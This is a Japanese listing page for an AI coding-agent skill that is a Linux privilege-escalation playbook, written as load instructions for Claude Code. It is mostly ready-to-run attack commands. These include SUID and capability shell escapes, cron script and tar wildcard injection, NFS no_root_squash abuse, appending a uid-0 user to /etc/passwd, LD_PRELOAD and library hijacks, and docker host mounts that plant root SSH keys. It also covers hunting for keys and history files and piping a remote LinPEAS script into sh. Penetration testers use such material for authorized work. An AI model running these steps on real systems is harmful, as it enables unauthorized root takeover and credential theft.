mcpField
L
linux-privilege-escalation

linux-privilege-escalation

github.com/yaklangセキュリティ2.6k3.6k 回インストール6 週間前に更新
リポジトリ

linux-privilege-escalation について

低権限シェルを調べるセキュリティテスター向けの、Linux 権限昇格プレイブックです。列挙手順と、設定不備やケイパビリティ、スケジュールタスクなどを使う経路を整理しています。

主な機能

  1. 01システムと権限の列挙
  2. 02SUID/SGIDとケイパビリティの悪用
  3. 03Cronとタイマーの悪用
  4. 04NFSと書き込み可能ファイルの経路
  5. 05ライブラリハイジャックとDockerグループの経路
  6. 06自動列挙ツールの参照

活用シーン

  1. 01低権限Linuxシェルの調査
  2. 02SUID、ケイパビリティ、sudoルールの確認
  3. 03root実行のCronジョブの調査
  4. 04書き込み可能なファイルとNFSエクスポートの評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill linux-privilege-escalation

インストール後、Claude Code で/linux-privilege-escalationを入力して読み込まれたか確認します。

同梱ファイルKERNEL_EXPLOITS_CHECKLIST.mdSUID_CAPABILITIES_TRICKS.md

詳細

スキル:Linux 権限昇格 — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:Linux のエキスパート向け権限昇格テクニックです。列挙、SUID/SGID、ケーパビリティ、cron の悪用、カーネルエクスプロイト、NFS、書き込み可能な passwd/shadow、LD_PRELOAD、Docker グループ、ライブラリハイジャックを網羅しています。ベースモデルは、ケーパビリティや複合的な設定ミスを介した微妙な権限昇格経路を見落とします。

0. 関連するルーティング

詳細に進む前に、以下の読み込みを検討してください。

高度なリファレンス

以下が必要な場合は、SUID_CAPABILITIES_TRICKS.md も読み込んでください。

  • 正確なエクスプロイトコマンド付きの SUID バイナリ上位 30 件(GTFOBins)
  • 危険な各 cap に固有のケーパビリティ悪用方法
  • カスタム SUID バイナリのエクスプロイト手法

以下が必要な場合は、KERNEL_EXPLOITS_CHECKLIST.md も読み込んでください。

  • カーネルバージョン → エクスプロイト対応表(DirtyPipe、DirtyCow、OverlayFS など)
  • エクスプロイトのコンパイルのヒントとクロスコンパイルに関する注意事項
  • カーネルエクスプロイトの安定性評価

1. 列挙チェックリスト

シェルを取得したら、直ちに以下を実行します。

システム情報
uname -a                        # Kernel version
cat /etc/os-release             # Distro and version
cat /proc/version               # Kernel compile info
hostname && id && whoami        # Current context
Sudo と SUID/SGID
sudo -l                         # What can we run as root?
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
find / -perm -2000 -type f 2>/dev/null   # SGID binaries
getcap -r / 2>/dev/null         # Files with capabilities
Cron とタイマー
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
systemctl list-timers --all     # systemd timers
書き込み可能なファイルとディレクトリ
find / -writable -type f 2>/dev/null | grep -v proc
ls -la /etc/passwd /etc/shadow  # Check permissions
find / -perm -o+w -type d 2>/dev/null   # World-writable dirs
ネットワークとサービス
ss -tlnp                        # Listening services
cat /proc/net/tcp               # Raw TCP connections
ps aux                          # Running processes
env                             # Environment variables (credentials?)
認証情報の保存場所
cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

2. SUID/SGID の悪用

GTFOBins の方法論
  1. SUID バイナリを探します:find / -perm -4000 -type f 2>/dev/null
  2. それぞれを GTFOBins と照合します
  3. 「SUID」セクションを使用します。すべてのバイナリの悪用方法が SUID で機能するわけではありません
すぐに使える SUID による権限昇格
バイナリコマンド
bashbash -p
findfind . -exec /bin/sh -p \; -quit
vimvim -c ':!/bin/sh'
pythonpython -c 'import os; os.execl("/bin/sh","sh","-p")'
envenv /bin/sh -p
nmap(旧バージョン)nmap --interactive → !sh
awkawk 'BEGIN {system("/bin/sh -p")}'
lessless /etc/passwd → !/bin/sh
cp/etc/passwd をコピーし、root ユーザーを追加して、元の場所にコピーし戻します
共有ライブラリハイジャック(SUID バイナリ)
ldd /usr/local/bin/suid_binary                    # Check loaded libraries
strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so"  # Find load paths

# If it loads from a writable directory — inject constructor:
gcc -shared -fPIC -o /writable/path/libevil.so evil.c
# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")

3. ケーパビリティの悪用

ケーパビリティリスク悪用方法
cap_setuid重大python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
cap_dac_override重大権限に関係なく、任意のファイルを読み書きする
cap_dac_read_search高任意のファイルを読み取る — /etc/shadow をダンプする
cap_sys_admin重大ファイルシステムのマウント、BPF、名前空間の操作
cap_sys_ptrace高ptrace 経由で root プロセスにコードを注入する
cap_net_raw中トラフィックの盗聴、ARP スプーフィング
cap_net_bind_service低特権ポート(<1024)にバインドする
cap_fowner高任意のファイルの所有権を変更する
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Example: python3 with cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

4. CRON/タイマーの悪用

書き込み可能な Cron スクリプト
# Find cron jobs running as root
cat /etc/crontab | grep root
ls -la /etc/cron.d/

# If a root-owned cron runs a script writable by current user:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
# Wait for cron → /tmp/bash -p
Cron における PATH ハイジャック
# If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
# And runs: * * * * * root backup.sh (without full path)
# Create /home/user/backup.sh:
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh
ワイルドカードインジェクション(tar)
# If cron runs: tar czf /backup/archive.tar.gz *
# In the target directory, create:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
# tar interprets filenames as arguments
pspy — root 権限なしでプロセスを監視する
# Upload pspy64 or pspy32 to target
./pspy64
# Watch for cron jobs, services, and background processes

5. NFS NO_ROOT_SQUASH

# On attacker: check exported shares
showmount -e TARGET_IP

# If no_root_squash is set:
mount -t nfs TARGET_IP:/share /mnt/nfs
# As root on attacker box:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# On target:
/share/bash -p    # root shell

6. 書き込み可能な /etc/passwd または /etc/shadow

書き込み可能な /etc/passwd
# Generate password hash
openssl passwd -1 -salt xyz password123
# → $1$xyz$...hash...

# Append root-equivalent user
echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd

# Or replace root's 'x' with generated hash (if no shadow file)
書き込み可能な /etc/shadow
# Generate SHA-512 hash
mkpasswd -m sha-512 password123

# Replace root's hash in /etc/shadow

7. Sudo と LD_PRELOAD/LD_LIBRARY_PATH

# If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
# Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary

8. DOCKER グループ → root

# If current user is in the docker group:
id    # check for "docker" in groups

# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or add SSH key
docker run -v /root:/mnt --rm -it alpine sh -c \
  'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'

9. Python/Perl/Ruby のライブラリハイジャック

# Python: if a root-executed script does "import somelib"
# Check python path order:
python3 -c 'import sys; print("\n".join(sys.path))'

# Place malicious module in writable path that comes first:
cat > /writable/path/somelib.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
EOF

# Perl: PERL5LIB / @INC manipulation
# Ruby: RUBYLIB / $LOAD_PATH manipulation

10. 自動化ツール

ツール用途コマンド
LinPEAS包括的な列挙curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
linux-exploit-suggesterカーネルエクスプロイトの候補提示./linux-exploit-suggester.sh
pspyプロセスの監視(root 不要)./pspy64
LinEnum従来型の列挙./LinEnum.sh -t
GTFOBinsSUID/sudo/ケイパビリティの悪用に関するリファレンスhttps://gtfobins.github.io/

11. 権限昇格の判断ツリー

Low-privilege shell obtained
│
├── sudo -l shows entries?
│   ├── GTFOBins match? → exploit directly
│   ├── env_keep has LD_PRELOAD? → LD_PRELOAD hijack (§7)
│   ├── NOPASSWD on custom script? → review script for injection
│   └── (ALL) with password? → check for password reuse/hashes
│
├── SUID/SGID binaries found?
│   ├── Standard binary on GTFOBins? → SUID exploit (§2)
│   ├── Custom binary? → reverse engineer, check libs (strace/ltrace)
│   └── Shared lib from writable path? → library hijack (§2)
│
├── Capabilities on binaries?
│   ├── cap_setuid? → instant root (§3)
│   ├── cap_dac_override? → write /etc/passwd (§6)
│   ├── cap_sys_admin? → mount / namespace tricks
│   └── cap_sys_ptrace? → process injection
│
├── Cron jobs running as root?
│   ├── Writable script? → inject payload (§4)
│   ├── Missing full path? → PATH hijack (§4)
│   └── Uses wildcards? → wildcard injection (§4)
│
├── Writable sensitive files?
│   ├── /etc/passwd writable? → add root user (§6)
│   ├── /etc/shadow writable? → replace root hash (§6)
│   └── systemd unit files writable? → add ExecStartPre
│
├── Docker/LXD group membership?
│   └── Yes → mount host filesystem (§8)
│
├── NFS shares with no_root_squash?
│   └── Yes → SUID binary via NFS (§5)
│
├── Kernel version old/unpatched?
│   └── Check KERNEL_EXPLOITS_CHECKLIST.md
│
└── None of the above?
    ├── Run LinPEAS for comprehensive scan
    ├── Check for password reuse (bash_history, config files)
    ├── Check internal services (127.0.0.1 listeners)
    └── Monitor processes with pspy for hidden opportunities

コメント